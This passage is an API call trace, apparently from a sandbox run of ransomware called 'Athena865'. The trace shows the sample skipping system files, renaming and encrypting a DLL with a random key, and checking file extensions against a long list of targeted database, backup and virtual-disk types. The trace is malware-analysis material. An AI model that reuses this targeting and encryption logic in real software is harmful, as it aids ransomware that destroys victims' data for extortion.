(lpString1="MSPVWCTL.DLL", lpString2="temp") returned -1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="pagefile.sys") returned -1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="boot") returned 1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="ids.txt") returned 1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="ntuser.dat") returned -1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="perflogs") returned -1 [0039.443] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2="MSBuild") returned 1 [0039.443] lstrlenW (lpString="MSPVWCTL.DLL") returned 12 [0039.444] lstrcpyW (in: lpString1=0x241e88a, lpString2="MSPVWCTL.DLL" | out: lpString1="MSPVWCTL.DLL") returned="MSPVWCTL.DLL" [0039.444] lstrlenW (lpString="MSPVWCTL.DLL") returned 12 [0039.444] lstrlenW (lpString="Athena865") returned 9 [0039.444] lstrcmpiW (lpString1="VWCTL.DLL", lpString2="Athena865") returned 1 [0039.444] lstrlenW (lpString=".dll") returned 4 [0039.444] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".dll") returned 1 [0039.444] lstrlenW (lpString=".lnk") returned 4 [0039.444] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".lnk") returned 1 [0039.444] lstrlenW (lpString=".ini") returned 4 [0039.444] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".ini") returned 1 [0039.444] lstrlenW (lpString=".sys") returned 4 [0039.444] lstrcmpiW (lpString1="MSPVWCTL.DLL", lpString2=".sys") returned 1 [0039.444] lstrlenW (lpString="MSPVWCTL.DLL") returned 12 [0039.444] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Journal\\MSPVWCTL.DLL.Athena865") returned 55 [0039.444] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Journal\\MSPVWCTL.DLL" (normalized: "c:\\program files\\windows journal\\mspvwctl.dll"), lpNewFileName="C:\\Program Files\\Windows Journal\\MSPVWCTL.DLL.Athena865" (normalized: "c:\\program files\\windows journal\\mspvwctl.dll.athena865"), dwFlags=0x1) returned 1 [0039.453] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\MSPVWCTL.DLL.Athena865" (normalized: "c:\\program files\\windows journal\\mspvwctl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0039.453] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=668672) returned 1 [0039.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0039.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0039.453] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0039.453] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0039.454] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0039.454] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.454] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa3700, lpName=0x0) returned 0x154 [0039.456] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa3700) returned 0x2d50000 [0039.507] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0039.508] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0039.508] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0039.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0039.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0039.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0039.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0039.508] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0039.508] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0039.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0039.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0039.509] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0039.509] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0039.515] CloseHandle (hObject=0x154) returned 1 [0039.515] CloseHandle (hObject=0x17c) returned 1 [0039.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0039.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0039.522] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0039.525] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d0a2fff, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x8d0a2fff, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x43278e40, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a6e00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NBDoc.DLL", cAlternateFileName="")) returned 1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".") returned 1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="..") returned 1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="windows") returned -1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="bootmgr") returned 1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="temp") returned -1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="pagefile.sys") returned -1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="boot") returned 1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="ids.txt") returned 1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="ntuser.dat") returned -1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="perflogs") returned -1 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2="MSBuild") returned 1 [0039.525] lstrlenW (lpString="NBDoc.DLL") returned 9 [0039.525] lstrcpyW (in: lpString1=0x241e88a, lpString2="NBDoc.DLL" | out: lpString1="NBDoc.DLL") returned="NBDoc.DLL" [0039.525] lstrlenW (lpString="NBDoc.DLL") returned 9 [0039.525] lstrlenW (lpString="Athena865") returned 9 [0039.525] lstrlenW (lpString=".dll") returned 4 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".dll") returned 1 [0039.525] lstrlenW (lpString=".lnk") returned 4 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".lnk") returned 1 [0039.525] lstrlenW (lpString=".ini") returned 4 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".ini") returned 1 [0039.525] lstrlenW (lpString=".sys") returned 4 [0039.525] lstrcmpiW (lpString1="NBDoc.DLL", lpString2=".sys") returned 1 [0039.526] lstrlenW (lpString="NBDoc.DLL") returned 9 [0039.526] lstrlenW (lpString="bak") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="bak") returned 1 [0039.526] lstrlenW (lpString="ba_") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="ba_") returned 1 [0039.526] lstrlenW (lpString="dbb") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="dbb") returned 1 [0039.526] lstrlenW (lpString="vmdk") returned 4 [0039.526] lstrcmpiW (lpString1=".DLL", lpString2="vmdk") returned -1 [0039.526] lstrlenW (lpString="rar") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="rar") returned -1 [0039.526] lstrlenW (lpString="zip") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="zip") returned -1 [0039.526] lstrlenW (lpString="tgz") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="tgz") returned -1 [0039.526] lstrlenW (lpString="vbox") returned 4 [0039.526] lstrcmpiW (lpString1=".DLL", lpString2="vbox") returned -1 [0039.526] lstrlenW (lpString="vdi") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="vdi") returned -1 [0039.526] lstrlenW (lpString="vhd") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="vhd") returned -1 [0039.526] lstrlenW (lpString="vhdx") returned 4 [0039.526] lstrcmpiW (lpString1=".DLL", lpString2="vhdx") returned -1 [0039.526] lstrlenW (lpString="avhd") returned 4 [0039.526] lstrcmpiW (lpString1=".DLL", lpString2="avhd") returned -1 [0039.526] lstrlenW (lpString="db") returned 2 [0039.526] lstrcmpiW (lpString1="LL", lpString2="db") returned 1 [0039.526] lstrlenW (lpString="db2") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="db2") returned 1 [0039.526] lstrlenW (lpString="db3") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="db3") returned 1 [0039.526] lstrlenW (lpString="dbf") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="dbf") returned 1 [0039.526] lstrlenW (lpString="mdf") returned 3 [0039.526] lstrcmpiW (lpString1="DLL", lpString2="mdf") returned -1 [0039.526] lstrlenW (lpString="mdb") returned 3 [0039.527] lstrcmpiW (lpString1="DLL", lpString2="mdb") returned -1 [0039.527] lstrlenW (lpString="sql") returned 3 [0039.527] lstrcmpiW (lpString1="DLL", lpString2="sql") returned -1 [0039.527] lstrlenW (lpString="sqlite") returned 6 [0039.527] lstrcmpiW (lpString1="oc.DLL", lpString2="sqlite") returned -1 [0039.527] lstrlenW (lpString="sqlite3") returned 7 [0039.527] lstrcmpiW (lpString1="Doc.DLL", lpString2="sqlite3") returned -1 [0039.527] lstrlenW (lpString="sqlitedb") returned 8 [0039.527] lstrcmpiW (lpString1="BDoc.DLL", lpString2="sqlitedb") returned -1 [0039.527] lstrlenW (lpString="xml") returned 3 [0039.527] lstrcmpiW (lpString1="DLL", lpString2="xml") returned -1 [0039.527] lstrlenW (lpString="$er") returned 3 [0039.527] lstrcmpiW (lpString1="DLL", lpString2="$er") returned 1 [0039.527] lstrlenW (lpString="4dd") returned 3 [0039.527] lstrcmpiW (lpString1="DLL", lpString2="4dd") returned 1 [0039.527] lstrlenW (lpString="4dl") returned 3 [0039.527] lstrcmpiW (lpString1="DLL", lpString2="4dl") returned 1 [0039.527] lstrlenW (lpString="^^^") returned 3 [0039.527] lstrcmpiW (lpString1="DLL", lpString2="^^^") returned 1 [0039.527] lstrlenW (lpString="abs") returned 3 [0039.527] lstrcmpiW (lpString1="DLL", lpString2="abs") returned 1 [0039.527] lstrlenW (lpString="abx") returned 3 [0039.527] lstrcmpiW (lpString1="DLL", lpString2="abx") returned 1 [0039.527] lstrlenW (lpString="accdb") returned 5 [0039.527] lstrcmpiW (lpString1="c.DLL", lpString2="accdb") returned 1 [0039.527] lstrlenW (lpString="accdc") returned 5 [0039.527] lstrcmpiW (lpString1="c.DLL", lpString2="accdc") returned 1 [0039.527] lstrlenW (lpString="accde") returned 5 [0039.527] lstrcmpiW (lpString1="c.DLL", lpString2="accde") returned 1 [0039.527] lstrlenW (lpString="accdr") returned 5 [0039.527] lstrcmpiW (lpString1="c.DLL", lpString2="accdr") returned 1 [0039.527] lstrlenW (lpString="accdt") returned 5 [0039.527] lstrcmpiW (lpString1="c.DLL", lpString2="accdt") returned 1 [0039.527] lstrlenW (lpString="accdw") returned 5 [0039.527] lstrcmpiW (lpString1="c.DLL", lpString2="accdw") returned 1 [0039.527] lstrlenW (lpString="accft") returned 5 [0039.528] lstrcmpiW (lpString1="c.DLL", lpString2="accft") returned 1 [0039.528] lstrlenW (lpString="adb") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0039.528] lstrlenW (lpString="adb") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="adb") returned 1 [0039.528] lstrlenW (lpString="ade") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="ade") returned 1 [0039.528] lstrlenW (lpString="adf") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="adf") returned 1 [0039.528] lstrlenW (lpString="adn") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="adn") returned 1 [0039.528] lstrlenW (lpString="adp") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="adp") returned 1 [0039.528] lstrlenW (lpString="alf") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="alf") returned 1 [0039.528] lstrlenW (lpString="ask") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="ask") returned 1 [0039.528] lstrlenW (lpString="btr") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="btr") returned 1 [0039.528] lstrlenW (lpString="cat") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="cat") returned 1 [0039.528] lstrlenW (lpString="cdb") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="cdb") returned 1 [0039.528] lstrlenW (lpString="ckp") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="ckp") returned 1 [0039.528] lstrlenW (lpString="cma") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="cma") returned 1 [0039.528] lstrlenW (lpString="cpd") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="cpd") returned 1 [0039.528] lstrlenW (lpString="dacpac") returned 6 [0039.528] lstrcmpiW (lpString1="oc.DLL", lpString2="dacpac") returned 1 [0039.528] lstrlenW (lpString="dad") returned 3 [0039.528] lstrcmpiW (lpString1="DLL", lpString2="dad") returned 1 [0039.528] lstrlenW (lpString="dadiagrams") returned 10 [0039.528] lstrlenW (lpString="daschema") returned 8 [0039.528] lstrcmpiW (lpString1="BDoc.DLL", lpString2="daschema") returned -1 [0039.528] lstrlenW (lpString="db-journal") returned 10 [0039.529] lstrlenW (lpString="db-shm") returned 6 [0039.529] lstrcmpiW (lpString1="oc.DLL", lpString2="db-shm") returned 1 [0039.529] lstrlenW (lpString="db-wal") returned 6 [0039.529] lstrcmpiW (lpString1="oc.DLL", lpString2="db-wal") returned 1 [0039.529] lstrlenW (lpString="dbc") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dbc") returned 1 [0039.529] lstrlenW (lpString="dbs") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dbs") returned 1 [0039.529] lstrlenW (lpString="dbt") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dbt") returned 1 [0039.529] lstrlenW (lpString="dbv") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dbv") returned 1 [0039.529] lstrlenW (lpString="dbx") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dbx") returned 1 [0039.529] lstrlenW (lpString="dcb") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dcb") returned 1 [0039.529] lstrlenW (lpString="dct") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dct") returned 1 [0039.529] lstrlenW (lpString="dcx") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dcx") returned 1 [0039.529] lstrlenW (lpString="ddl") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="ddl") returned 1 [0039.529] lstrlenW (lpString="dlis") returned 4 [0039.529] lstrcmpiW (lpString1=".DLL", lpString2="dlis") returned -1 [0039.529] lstrlenW (lpString="dp1") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dp1") returned -1 [0039.529] lstrlenW (lpString="dqy") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dqy") returned -1 [0039.529] lstrlenW (lpString="dsk") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dsk") returned -1 [0039.529] lstrlenW (lpString="dsn") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dsn") returned -1 [0039.529] lstrlenW (lpString="dtsx") returned 4 [0039.529] lstrcmpiW (lpString1=".DLL", lpString2="dtsx") returned -1 [0039.529] lstrlenW (lpString="dxl") returned 3 [0039.529] lstrcmpiW (lpString1="DLL", lpString2="dxl") returned -1 [0039.529] lstrlenW (lpString="eco") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="eco") returned -1 [0039.530] lstrlenW (lpString="ecx") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="ecx") returned -1 [0039.530] lstrlenW (lpString="edb") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="edb") returned -1 [0039.530] lstrlenW (lpString="epim") returned 4 [0039.530] lstrcmpiW (lpString1=".DLL", lpString2="epim") returned -1 [0039.530] lstrlenW (lpString="fcd") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fcd") returned -1 [0039.530] lstrlenW (lpString="fdb") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fdb") returned -1 [0039.530] lstrlenW (lpString="fic") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fic") returned -1 [0039.530] lstrlenW (lpString="flexolibrary") returned 12 [0039.530] lstrlenW (lpString="fm5") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fm5") returned -1 [0039.530] lstrlenW (lpString="fmp") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fmp") returned -1 [0039.530] lstrlenW (lpString="fmp12") returned 5 [0039.530] lstrcmpiW (lpString1="c.DLL", lpString2="fmp12") returned -1 [0039.530] lstrlenW (lpString="fmpsl") returned 5 [0039.530] lstrcmpiW (lpString1="c.DLL", lpString2="fmpsl") returned -1 [0039.530] lstrlenW (lpString="fol") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fol") returned -1 [0039.530] lstrlenW (lpString="fp3") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fp3") returned -1 [0039.530] lstrlenW (lpString="fp4") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fp4") returned -1 [0039.530] lstrlenW (lpString="fp5") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fp5") returned -1 [0039.530] lstrlenW (lpString="fp7") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fp7") returned -1 [0039.530] lstrlenW (lpString="fpt") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="fpt") returned -1 [0039.530] lstrlenW (lpString="frm") returned 3 [0039.530] lstrcmpiW (lpString1="DLL", lpString2="frm") returned -1 [0039.531] lstrlenW (lpString="gdb") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0039.531] lstrlenW (lpString="gdb") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="gdb") returned -1 [0039.531] lstrlenW (lpString="grdb") returned 4 [0039.531] lstrcmpiW (lpString1=".DLL", lpString2="grdb") returned -1 [0039.531] lstrlenW (lpString="gwi") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="gwi") returned -1 [0039.531] lstrlenW (lpString="hdb") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="hdb") returned -1 [0039.531] lstrlenW (lpString="his") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="his") returned -1 [0039.531] lstrlenW (lpString="ib") returned 2 [0039.531] lstrcmpiW (lpString1="LL", lpString2="ib") returned 1 [0039.531] lstrlenW (lpString="idb") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="idb") returned -1 [0039.531] lstrlenW (lpString="ihx") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="ihx") returned -1 [0039.531] lstrlenW (lpString="itdb") returned 4 [0039.531] lstrcmpiW (lpString1=".DLL", lpString2="itdb") returned -1 [0039.531] lstrlenW (lpString="itw") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="itw") returned -1 [0039.531] lstrlenW (lpString="jet") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="jet") returned -1 [0039.531] lstrlenW (lpString="jtx") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="jtx") returned -1 [0039.531] lstrlenW (lpString="kdb") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="kdb") returned -1 [0039.531] lstrlenW (lpString="kexi") returned 4 [0039.531] lstrcmpiW (lpString1=".DLL", lpString2="kexi") returned -1 [0039.531] lstrlenW (lpString="kexic") returned 5 [0039.531] lstrcmpiW (lpString1="c.DLL", lpString2="kexic") returned -1 [0039.531] lstrlenW (lpString="kexis") returned 5 [0039.531] lstrcmpiW (lpString1="c.DLL", lpString2="kexis") returned -1 [0039.531] lstrlenW (lpString="lgc") returned 3 [0039.531] lstrcmpiW (lpString1="DLL", lpString2="lgc") returned -1 [0039.531] lstrlenW (lpString="lwx") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="lwx") returned -1 [0039.532] lstrlenW (lpString="maf") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="maf") returned -1 [0039.532] lstrlenW (lpString="maq") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="maq") returned -1 [0039.532] lstrlenW (lpString="mar") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mar") returned -1 [0039.532] lstrlenW (lpString="marshal") returned 7 [0039.532] lstrcmpiW (lpString1="Doc.DLL", lpString2="marshal") returned -1 [0039.532] lstrlenW (lpString="mas") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mas") returned -1 [0039.532] lstrlenW (lpString="mav") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mav") returned -1 [0039.532] lstrlenW (lpString="maw") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="maw") returned -1 [0039.532] lstrlenW (lpString="mdbhtml") returned 7 [0039.532] lstrcmpiW (lpString1="Doc.DLL", lpString2="mdbhtml") returned -1 [0039.532] lstrlenW (lpString="mdn") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mdn") returned -1 [0039.532] lstrlenW (lpString="mdt") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mdt") returned -1 [0039.532] lstrlenW (lpString="mfd") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mfd") returned -1 [0039.532] lstrlenW (lpString="mpd") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mpd") returned -1 [0039.532] lstrlenW (lpString="mrg") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mrg") returned -1 [0039.532] lstrlenW (lpString="mud") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mud") returned -1 [0039.532] lstrlenW (lpString="mwb") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="mwb") returned -1 [0039.532] lstrlenW (lpString="myd") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="myd") returned -1 [0039.532] lstrlenW (lpString="ndf") returned 3 [0039.532] lstrcmpiW (lpString1="DLL", lpString2="ndf") returned -1 [0039.533] lstrlenW (lpString="nnt") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="nnt") returned -1 [0039.533] lstrlenW (lpString="nrmlib") returned 6 [0039.533] lstrcmpiW (lpString1="oc.DLL", lpString2="nrmlib") returned 1 [0039.533] lstrlenW (lpString="ns2") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="ns2") returned -1 [0039.533] lstrlenW (lpString="ns3") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="ns3") returned -1 [0039.533] lstrlenW (lpString="ns4") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="ns4") returned -1 [0039.533] lstrlenW (lpString="nsf") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="nsf") returned -1 [0039.533] lstrlenW (lpString="nv") returned 2 [0039.533] lstrcmpiW (lpString1="LL", lpString2="nv") returned -1 [0039.533] lstrlenW (lpString="nv2") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="nv2") returned -1 [0039.533] lstrlenW (lpString="nwdb") returned 4 [0039.533] lstrcmpiW (lpString1=".DLL", lpString2="nwdb") returned -1 [0039.533] lstrlenW (lpString="nyf") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="nyf") returned -1 [0039.533] lstrlenW (lpString="odb") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0039.533] lstrlenW (lpString="odb") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="odb") returned -1 [0039.533] lstrlenW (lpString="oqy") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="oqy") returned -1 [0039.533] lstrlenW (lpString="ora") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="ora") returned -1 [0039.533] lstrlenW (lpString="orx") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="orx") returned -1 [0039.533] lstrlenW (lpString="owc") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="owc") returned -1 [0039.533] lstrlenW (lpString="p96") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="p96") returned -1 [0039.533] lstrlenW (lpString="p97") returned 3 [0039.533] lstrcmpiW (lpString1="DLL", lpString2="p97") returned -1 [0039.533] lstrlenW (lpString="pan") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="pan") returned -1 [0039.534] lstrlenW (lpString="pdb") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="pdb") returned -1 [0039.534] lstrlenW (lpString="pdm") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="pdm") returned -1 [0039.534] lstrlenW (lpString="pnz") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="pnz") returned -1 [0039.534] lstrlenW (lpString="qry") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="qry") returned -1 [0039.534] lstrlenW (lpString="qvd") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="qvd") returned -1 [0039.534] lstrlenW (lpString="rbf") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="rbf") returned -1 [0039.534] lstrlenW (lpString="rctd") returned 4 [0039.534] lstrcmpiW (lpString1=".DLL", lpString2="rctd") returned -1 [0039.534] lstrlenW (lpString="rod") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="rod") returned -1 [0039.534] lstrlenW (lpString="rodx") returned 4 [0039.534] lstrcmpiW (lpString1=".DLL", lpString2="rodx") returned -1 [0039.534] lstrlenW (lpString="rpd") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="rpd") returned -1 [0039.534] lstrlenW (lpString="rsd") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="rsd") returned -1 [0039.534] lstrlenW (lpString="sas7bdat") returned 8 [0039.534] lstrcmpiW (lpString1="BDoc.DLL", lpString2="sas7bdat") returned -1 [0039.534] lstrlenW (lpString="sbf") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="sbf") returned -1 [0039.534] lstrlenW (lpString="scx") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="scx") returned -1 [0039.534] lstrlenW (lpString="sdb") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="sdb") returned -1 [0039.534] lstrlenW (lpString="sdc") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="sdc") returned -1 [0039.534] lstrlenW (lpString="sdf") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="sdf") returned -1 [0039.534] lstrlenW (lpString="sis") returned 3 [0039.534] lstrcmpiW (lpString1="DLL", lpString2="sis") returned -1 [0039.535] lstrlenW (lpString="spq") returned 3 [0039.535] 